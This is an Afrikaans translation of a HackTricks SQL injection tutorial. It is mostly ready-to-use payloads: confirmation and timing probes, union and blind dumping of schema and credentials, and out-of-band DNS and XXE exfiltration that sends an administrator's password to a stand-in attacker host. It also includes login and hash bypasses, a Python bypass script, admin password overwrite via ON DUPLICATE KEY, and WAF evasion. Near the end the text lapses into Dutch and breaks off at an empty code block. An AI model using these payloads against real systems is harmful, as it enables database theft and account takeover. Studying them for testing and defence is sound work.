hacktricks/pentesting-web/sql-injection/README.md

# SQL Injeksie

<details>

<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

</details>

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

​​​​[**RootedCON**](https://www.rootedcon.com/) is die mees relevante cybersecurity-gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en cybersecurity-professionals in elke dissipline.

{% embed url="https://www.rootedcon.com/" %}

## Wat is SQL-injeksie?

'n **SQL-injeksie** is 'n sekuriteitsgebrek wat aanvallers in staat stel om **databasisnavrae te versteur** van 'n toepassing. Hierdie kwesbaarheid kan aanvallers in staat stel om data te **sien**, **verander** of **verwyder** waarop hulle nie toegang behoort te hê nie, insluitend inligting van ander gebruikers of enige data waartoe die toepassing toegang kan verkry. Sulke aksies kan lei tot permanente veranderinge aan die funksionaliteit of inhoud van die toepassing, of selfs die kompromittering van die bediener of ontkenning van diens.

## Opvang van toegangspunt

Wanneer 'n webwerf lyk asof dit **kwesbaar is vir SQL-injeksie (SQLi)** as gevolg van ongewone bedienerreaksies op SQLi-verwante insette, is die **eerste stap** om te verstaan hoe om **data in die navraag in te spuit sonder om dit te ontwrig**. Dit vereis die identifisering van die metode om effektief **uit die huidige konteks te ontsnap**.
Hier is 'n paar nuttige voorbeelde:
```
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
```
Dan moet jy weet hoe om die navraag te **herstel sodat daar geen foute is nie**. Om die navraag te herstel, kan jy **data invoer** sodat die **vorige navraag die nuwe data aanvaar**, of jy kan net **jou data invoer en 'n kommentaar simbool by die einde voeg**.

_Merk op dat as jy foutboodskappe kan sien of jy verskille kan opmerk wanneer 'n navraag werk en wanneer dit nie werk nie, sal hierdie fase makliker wees._

### **Kommentaar**
```sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments
```
### Bevestiging met logiese operasies

'n Betroubare metode om 'n SQL-injeksie kwesbaarheid te bevestig, behels die uitvoering van 'n **logiese operasie** en die waarneming van die verwagte uitkomste. Byvoorbeeld, 'n GET-parameter soos `?username=Peter` wat identiese inhoud lewer wanneer dit gewysig word na `?username=Peter' or '1'='1`, dui op 'n SQL-injeksie kwesbaarheid.

Op dieselfde manier dien die toepassing van **wiskundige operasies** as 'n effektiewe bevestigingstegniek. Byvoorbeeld, as die toegang tot `?id=1` en `?id=2-1` dieselfde resultaat oplewer, dui dit op 'n SQL-injeksie.

Voorbeelde wat logiese operasiebevestiging demonstreer:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
Hierdie woordelys is geskep om SQL-injeksies te probeer **bevestig** op die voorgestelde manier:

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

### Bevestiging met Tydsberekening

In sommige gevalle sal jy **nie enige verandering** op die bladsy wat jy toets, opmerk nie. Daarom is 'n goeie manier om **blinde SQL-injeksies te ontdek** om die databasis aksies te laat uitvoer wat 'n **impak op die tyd** sal hê wat die bladsy neem om te laai.\
Daarom gaan ons die SQL-navraag kombineer met 'n operasie wat baie tyd sal neem om te voltooi:
```
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
In sommige gevalle sal die **slaapfunksies nie toegelaat word** nie. In plaas daarvan kan jy die navraag **komplekse operasies laat uitvoer** wat verskeie sekondes sal neem. _Voorbeelde van hierdie tegnieke sal afsonderlik op elke tegnologie bespreek word (indien van toepassing)_.

### Identifisering van Agterkant

Die beste manier om die agterkant te identifiseer, is om funksies van die verskillende agterkante uit te voer. Jy kan die _**slaap**_ **funksies** van die vorige afdeling gebruik of hierdie (tabel van [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
Ook, as jy toegang het tot die uitset van die navraag, kan jy dit **druk die weergawe van die databasis**.

{% hint style="info" %}
'n Voortsetting, ons gaan verskillende metodes bespreek om verskillende soorte SQL-injeksie te benut. Ons sal MySQL as voorbeeld gebruik.
{% endhint %}

### Identifiseer met PortSwigger

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

## Uitbuiting van Union Based

### Opsoek na die aantal kolomme

As jy die uitset van die navraag kan sien, is dit die beste manier om dit te benut.\
Eerstens moet ons die **aantal** **kolomme** vind wat die **oorspronklike navraag** teruggee. Dit is omdat **beide navrae dieselfde aantal kolomme moet teruggee**.\
Twee metodes word tipies gebruik vir hierdie doel:

#### Order/Group by

Om die aantal kolomme in 'n navraag te bepaal, pas jy die aantal wat in die **ORDER BY** of **GROUP BY** klousules gebruik word, inkrementeel aan totdat 'n valse antwoord ontvang word. Ten spyte van die onderskeie funksionaliteite van **GROUP BY** en **ORDER BY** binne SQL, kan beide identies gebruik word om die aantal kolomme van die navraag te bepaal.
```sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
```

```sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
```
#### UNION SELECT

Kies meer en meer nulwaardes totdat die navraag korrek is:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_Jy moet `null`waardes gebruik, aangesien die tipe van die kolomme aan beide kante van die navraag dieselfde moet wees en `null` geldig is in elke geval._

### Haal databasisname, tabelname en kolomname uit

In die volgende voorbeelde gaan ons die naam van al die databasisse ophaal, die tabelnaam van 'n databasis, en die kolomname van die tabel:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_Daar is 'n verskillende manier om hierdie data op elke verskillende databasis te ontdek, maar dit is altyd dieselfde metodologie._

## Uitbuiting van Versteekte Unie-Gebaseerde Injeksie

Wanneer die uitset van 'n navraag sigbaar is, maar 'n unie-gebaseerde injeksie onbereikbaar lyk, dui dit op die teenwoordigheid van 'n **versteekte unie-gebaseerde injeksie**. Hierdie scenario lei dikwels tot 'n blinde injeksie situasie. Om 'n blinde injeksie te omskep na 'n unie-gebaseerde een, moet die uitvoeringsnavraag op die agterkant bepaal word.

Dit kan bereik word deur die gebruik van blinde injeksie tegnieke saam met die verstek tabelle spesifiek vir jou teiken Databasisbestuurstelsel (DBMS). Vir 'n beter begrip van hierdie verstek tabelle, word dit aanbeveel om die dokumentasie van die teiken DBMS te raadpleeg.

Sodra die navraag onttrek is, is dit nodig om jou payload aan te pas om die oorspronklike navraag veilig te sluit. Daarna word 'n unie-navraag by jou payload gevoeg, wat die uitbuiting van die nuut toeganklike unie-gebaseerde injeksie fasiliteer.

Vir meer omvattende insigte, verwys na die volledige artikel beskikbaar by [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).

## Uitbuiting van Fout-gebaseerde Injeksie

As jy om een of ander rede **nie** die **uitset** van die **navraag** kan sien nie, maar jy kan die foutboodskappe sien, kan jy hierdie foutboodskappe gebruik om data uit die databasis te **uitlek**.\
Deur 'n soortgelyke vloei as in die Unie-Gebaseerde uitbuiting te volg, kan jy die databasis dump.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Uitbuiting van Blinde SQLi

In hierdie geval kan jy nie die resultate van die navraag of die foute sien nie, maar jy kan **onderskei** wanneer die navraag 'n **waar** of 'n **vals** antwoord **teruggee** omdat daar verskillende inhoud op die bladsy is.\
In hierdie geval kan jy hierdie gedrag misbruik om die databasis karakter vir karakter te dump:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## Uitbuiting van Fout-Blind SQLi

Dit is dieselfde geval as voorheen, maar in plaas daarvan om te onderskei tussen 'n ware/vals reaksie van die navraag, kan jy onderskei tussen 'n fout in die SQL-navraag of nie (miskien omdat die HTTP-bediener afkraak). Daarom kan jy in hierdie geval elke keer 'n SQL-fout afdwing as jy die karakter korrek raai:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Uitbuiting van Tyd Gebaseerde SQLi

In hierdie geval is daar geen manier om die respons van die navraag te onderskei op grond van die konteks van die bladsy nie. Maar, jy kan die bladsy langer laat neem om te laai as die gerade karakter korrek is. Ons het hierdie tegniek al voorheen gesien om 'n SQLi kwesbaarheid te bevestig.
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Gestapelde Navrae

Jy kan gestapelde navrae gebruik om **meervoudige navrae agtereen uit te voer**. Let daarop dat terwyl die volgende navrae uitgevoer word, die **resultate nie aan die toepassing teruggegee word nie**. Hierdie tegniek is dus hoofsaaklik van nut in verband met **blinde kwesbaarhede** waar jy 'n tweede navraag kan gebruik om 'n DNS-opsoek, voorwaardelike fout, of tydvertraging te veroorsaak.

**Oracle** ondersteun nie **gestapelde navrae nie**. **MySQL, Microsoft** en **PostgreSQL** ondersteun dit: `NAVRAAG-1-HIER; NAVRAAG-2-HIER`

## Buite-band Uitbuiting

As **geen ander** uitbuitingsmetode **gewerk** het nie, kan jy probeer om die **databasis die inligting na 'n eksterne gasheer** te laat uitlek wat deur jou beheer word. Byvoorbeeld, deur DNS-navrae:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### Uitbandige data-uitvoer deur middel van XXE

XXE (External Entity Injection) is 'n aanvalstegniek wat gebruik word om 'n webtoepassing te misbruik deur kwaadwillige entiteite in te spuit in 'n XML-verwerker. Hierdie aanvalstegniek kan gebruik word om out-of-band data-uitvoer te bewerkstellig deur die gebruik van 'n eksterne entiteit wat verwys na 'n eksterne bron, soos 'n HTTP-vervraag of 'n DNS-aanvraag.

Die proses van out-of-band data-uitvoer met behulp van XXE behels die volgende stappe:

1. Identifiseer 'n kwesbare punt in die teikenwebtoepassing waar XXE kan plaasvind.
2. Bou 'n kwaadwillige XML-aanvraag wat 'n eksterne entiteit insluit wat verwys na 'n eksterne bron.
3. Stuur die kwaadwillige aanvraag na die teikenwebtoepassing.
4. As die aanval suksesvol is, sal die teikenwebtoepassing die eksterne entiteit verwerk en 'n uitgaande verbinding maak na die eksterne bron.
5. Die uitgaande verbinding kan gebruik word om data uit te voer na 'n beheerde bediener wat deur die aanvaller gekontroleer word.
6. Die aanvaller kan die uitgevoerde data gebruik om sensitiewe inligting te verkry of verdere aanvalle uit te voer.

Dit is belangrik om te verstaan dat XXE-aanvalle slegs suksesvol sal wees as die teikenwebtoepassing kwesbaar is vir eksterne entiteitinspuiting. Dit is dus noodsaaklik om die toepassing te toets en te verifieer voordat 'n XXE-aanval uitgevoer word.
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
## Geoutomatiseerde Uitbuiting

Kyk na die [SQLMap Cheetsheat](sqlmap/) om 'n SQLi kwesbaarheid te benut met [**sqlmap**](https://github.com/sqlmapproject/sqlmap).

## Tegnologiespesifieke inligting

Ons het reeds al die maniere bespreek om 'n SQL-injeksie kwesbaarheid te benut. Vind nog 'n paar truuks wat afhang van die databasetegnologie in hierdie boek:

* [MS Access](ms-access-sql-injection.md)
* [MSSQL](mssql-injection.md)
* [MySQL](mysql-injection/)
* [Oracle](oracle-injection.md)
* [PostgreSQL](postgresql-injection/)

Of jy sal **baie truuks vind met betrekking tot: MySQL, PostgreSQL, Oracle, MSSQL, SQLite en HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)



<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

​​​​​[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheidgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidprofessionals in elke dissipline.

{% embed url="https://www.rootedcon.com/" %}

## Verifikasie omseil

Lys om te probeer om die aanmeldingsfunksionaliteit te omseil:

{% content-ref url="../login-bypass/sql-login-bypass.md" %}
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
{% endcontent-ref %}

### Onbewerkte hasie-verifikasie omseil
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Hierdie navraag toon 'n kwesbaarheid wanneer MD5 gebruik word met true vir rof uitset in verifikasie kontroles, wat die stelsel vatbaar maak vir SQL-injeksie. Aanvallers kan dit uitbuit deur insette te skep wat, wanneer gehash word, onverwagte SQL-opdragdele produseer, wat lei tot ongemagtigde toegang.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```
### Geïnjecteerde hashtegniese omseiling

Hierdie tegniek maak gebruik van 'n SQL-injeksie-aanval om die hashtegniese verifikasie van 'n gebruiker te omseil. Dit kan gebruik word om toegang te verkry tot 'n toepassing sonder die regte verifikasieproses te deurloop.

#### Hoe werk dit?

1. Identifiseer die invoerveld waarin die gebruiker se hashtegniese waarde gestoor word.
2. Voer 'n SQL-injeksie-aanval uit deur die invoerveld te manipuleer.
3. Verander die waarde van die hashtegniese waarde in 'n bekende waarde, soos 'n leë string of 'n bekende hashtegniese waarde.
4. Die toepassing sal die ingevoerde waarde vergelyk met die waarde in die databasis en as dit ooreenstem, sal dit die gebruiker as geldig beskou en toegang verleen.

#### Voorbeeld

As ons 'n toepassing het wat die gebruiker se hashtegniese waarde in 'n veld genaamd `password` stoor, kan ons die volgende SQL-injeksie-aanval uitvoer:

```sql
' OR '1'='1
```

Hierdie sal die SQL-verklaring verander na:

```sql
SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1';
```

Die toepassing sal die waarde van die hashtegniese waarde vergelyk met die leë string of die waarde `'1'='1'`, wat altyd waar sal wees. As gevolg hiervan sal die toepassing die gebruiker as geldig beskou en toegang verleen sonder die regte verifikasieproses te deurloop.

#### Voorkoming

Om hierdie tipe aanvalle te voorkom, moet die toepassing behoorlike invoerverifikasie en parameterisering implementeer. Dit sluit in die gebruik van voorbereide verklarings of parametervervanging om die risiko van SQL-injeksie te verminder.
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**Aanbevole lys**:

Jy moet elke lyn van die lys gebruik as gebruikersnaam en altyd as wagwoord: _**Pass1234.**_\
_(Hierdie payloads is ook ingesluit in die groot lys wat aan die begin van hierdie afdeling genoem word)_

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

### GBK-verifikasie-omleiding

AS ' geëskapeer word, kan jy %A8%27 gebruik, en wanneer ' geëskapeer word, sal dit geskep word: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
```
Python-skripsie:
```python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### Poliglot-injeksie (multikonteks)

'n Poliglot-injeksie, ook bekend as 'n multikonteks-injeksie, is 'n tegniek wat gebruik word in SQL-injeksie om 'n enkele injeksie-aanval te skep wat in verskillende databasisplatforms kan werk. Dit maak gebruik van die verskillende sintaksis en funksies van verskillende databasisplatforms om 'n aanval te skep wat suksesvol kan wees in meerdere omgewings.

Hierdie tegniek is baie kragtig omdat dit die aanvaller in staat stel om 'n enkele injeksie-aanval te skep wat kan werk op verskillende databasisplatforms, soos MySQL, SQL Server, Oracle, ensovoorts. Dit beteken dat die aanvaller slegs een aanval hoef te skep en dit kan gebruik om verskeie doelwitte aan te val sonder om verskillende aanvalskodes vir elke databasisplatform te skep.

Om 'n poliglot-injeksie-aanval te skep, moet die aanvaller die verskillende sintaksis en funksies van die teiken databasisplatforms verstaan. Dit vereis 'n goeie begrip van die verskillende databasisplatforms en hul spesifieke kenmerke. Die aanvaller moet ook die nodige kennis hê om die aanvalskode te skep wat in al hierdie omgewings kan werk.

'n Poliglot-injeksie-aanval kan gebruik word om verskeie aksies uit te voer, soos die verkryging van gevoelige inligting, die manipulasie van databasisrekords, die uitvoering van skadelike opdragte, ensovoorts. Dit is 'n baie gevaarlike tegniek wat deur aanvallers gebruik kan word om groot skade aan te rig aan 'n teikenstelsel.

Dit is belangrik vir ontwikkelaars en beveiligingspersoneel om bewus te wees van die moontlikheid van poliglot-injeksie en om toepaslike maatreëls te tref om dit te voorkom. Dit sluit in die gebruik van parameterisering, die korrekte hantering van gebruikersinsette, die gebruik van voorafbereide verklarings, ensovoorts. Deur hierdie maatreëls te implementeer, kan die risiko van poliglot-injeksie-aanvalle verminder word.
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Invoegingsverklaring

### Wysig wagwoord van bestaande objek/gebruiker

Om dit te doen, moet jy probeer om **'n nuwe objek te skep wat genoem word as die "meester objek"** (waarskynlik **admin** in die geval van gebruikers) deur iets te wysig:

* Skep 'n gebruiker genaamd: **AdMIn** (hoofletters & kleinletters)
* Skep 'n gebruiker genaamd: **admin=**
* **SQL Truncation Aanval** (wanneer daar 'n soort **lengtebeperking** in die gebruikersnaam of e-pos is) --> Skep 'n gebruiker met die naam: **admin \[baie spasies] a**

#### SQL Truncation Aanval

As die databasis kwesbaar is en die maksimum aantal karakters vir die gebruikersnaam byvoorbeeld 30 is en jy wil die gebruiker **admin** voorstel, probeer om 'n gebruikersnaam te skep genaamd: "_admin \[30 spasies] a_" en enige wagwoord.

Die databasis sal **nagaan** of die ingevoerde **gebruikersnaam** **bestaan** binne die databasis. As **nie**, sal dit die **gebruikersnaam sny** tot die **maksimum toegelate aantal karakters** (in hierdie geval tot: "_admin \[25 spasies]_") en dan sal dit outomaties al die spasies aan die einde verwyder en die gebruiker "**admin**" met die **nuwe wagwoord** opdateer (daar kan 'n fout voorkom, maar dit beteken nie dat dit nie gewerk het nie).

Meer inligting: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)

_Noot: Hierdie aanval sal nie meer werk soos hierbo beskryf in die nuutste MySQL-installasies nie. Terwyl vergelykings steeds standaard agterste spasies ignoreer, sal 'n poging om 'n string in te voeg wat langer is as die lengte van 'n veld, 'n fout veroorsaak en die invoeging sal misluk. Vir meer inligting oor hierdie kontrole, besoek: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_

### MySQL Invoegingstyd gebaseerde kontrole

Voeg soveel `','',''` by as wat jy nodig ag om die VALUES-verklaring te verlaat. As daar vertraging plaasvind, het jy 'n SQLInjection.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### OP DUBBELE SLEUTEL BYWERK

Die `OP DUBBELE SLEUTEL BYWERK`-klousule in MySQL word gebruik om aksies vir die databasis te spesifiseer wanneer 'n poging aangewend word om 'n ry in te voeg wat sou lei tot 'n duplikaatwaarde in 'n UNIEKE indeks of PRIMÊRE SLEUTEL. Die volgende voorbeeld demonstreer hoe hierdie funksie gebruik kan word om die wagwoord van 'n administrateur-rekening te wysig:

Voorbeeld van 'n inspuitingslading:

'n Inspuitingslading kan so saamgestel word, waar twee rye in die `gebruikers`-tabel probeer word in te voeg. Die eerste ry is 'n afleidingsmaneuver, en die tweede ry mik op 'n bestaande administrateur se e-pos met die doel om die wagwoord te wysig:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
Hier is hoe dit werk:

- Die navraag probeer om twee rye in te voeg: een vir `generic_user@example.com` en 'n ander vir `admin_generic@example.com`.
- As die ry vir `admin_generic@example.com` reeds bestaan, word die `ON DUPLICATE KEY UPDATE` klousule geaktiveer, wat MySQL instrueer om die `password` veld van die bestaande ry na "bcrypt_hash_of_newpassword" op te dateer.
- Gevolglik kan verifikasie dan probeer word deur gebruik te maak van `admin_generic@example.com` met die wagwoord wat ooreenstem met die bcrypt-hash ("bcrypt_hash_of_newpassword" verteenwoordig die bcrypt-hash van die nuwe wagwoord, wat vervang moet word met die werklike hash van die gewenste wagwoord).

### Inligting onttrek

#### Skep van 2 rekeninge terselfdertyd

Wanneer jy probeer om 'n nuwe gebruiker en gebruikersnaam, wagwoord en e-pos te skep, is dit nodig:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### Gebruik van desimale of heksadesimale

Met hierdie tegniek kan jy inligting onttrek deur slegs 1 rekening te skep. Dit is belangrik om daarop te let dat jy nie iets hoef te kommentaar nie.

Deur gebruik te maak van **hex2dec** en **substr**:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
Om die teks te bekom, kan jy gebruik maak van:
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
Met behulp van **hex** en **replace** (en **substr**):
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteit geleentheid in **Spanje** en een van die belangrikste in **Europa**. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitprofessionals in elke dissipline.

{% embed url="https://www.rootedcon.com/" %}

## Gerouteerde SQL-injectie

Gerouteerde SQL-injectie is 'n situasie waar die invoegbare navraag nie die een is wat uitset gee nie, maar die uitset van die invoegbare navraag gaan na die navraag wat uitset gee. ([Vanaf Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))

Voorbeeld:
```
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## WAF Deurloop

[Inisieële deurloop vanaf hier](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)

### Geen spasies deurloop

Geen Spasie (%20) - deurloop deur gebruik te maak van alternatiewe spasies
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
# Geen Spasie - omseil deur gebruik te maak van kommentaar

In sommige gevallen kan het voorkom dat een SQL-injectieaanval wordt geblokkeerd door een webtoepassing die geen spaties toestaat in de invoer. Gelukkig is er een techniek genaamd "gebruik van commentaar" die kan worden gebruikt om deze beperking te omzeilen.

## Techniek

De techniek is gebaseerd op het feit dat SQL-commentaar wordt genegeerd door de database-engine. Door gebruik te maken van commentaar kunnen we spaties vervangen zonder de functionaliteit van de SQL-query te beïnvloeden.

Om deze techniek toe te passen, kunnen we de volgende stappen volgen:

1. Identificeer een SQL-injectiepunt in de webtoepassing.
2. Vervang spaties door SQL-commentaar (/* */).
3. Voer de aangepaste SQL-injectie-invoer uit.

Hier is een voorbeeld van hoe deze techniek kan worden toegepast:

Originele SQL-query:
```
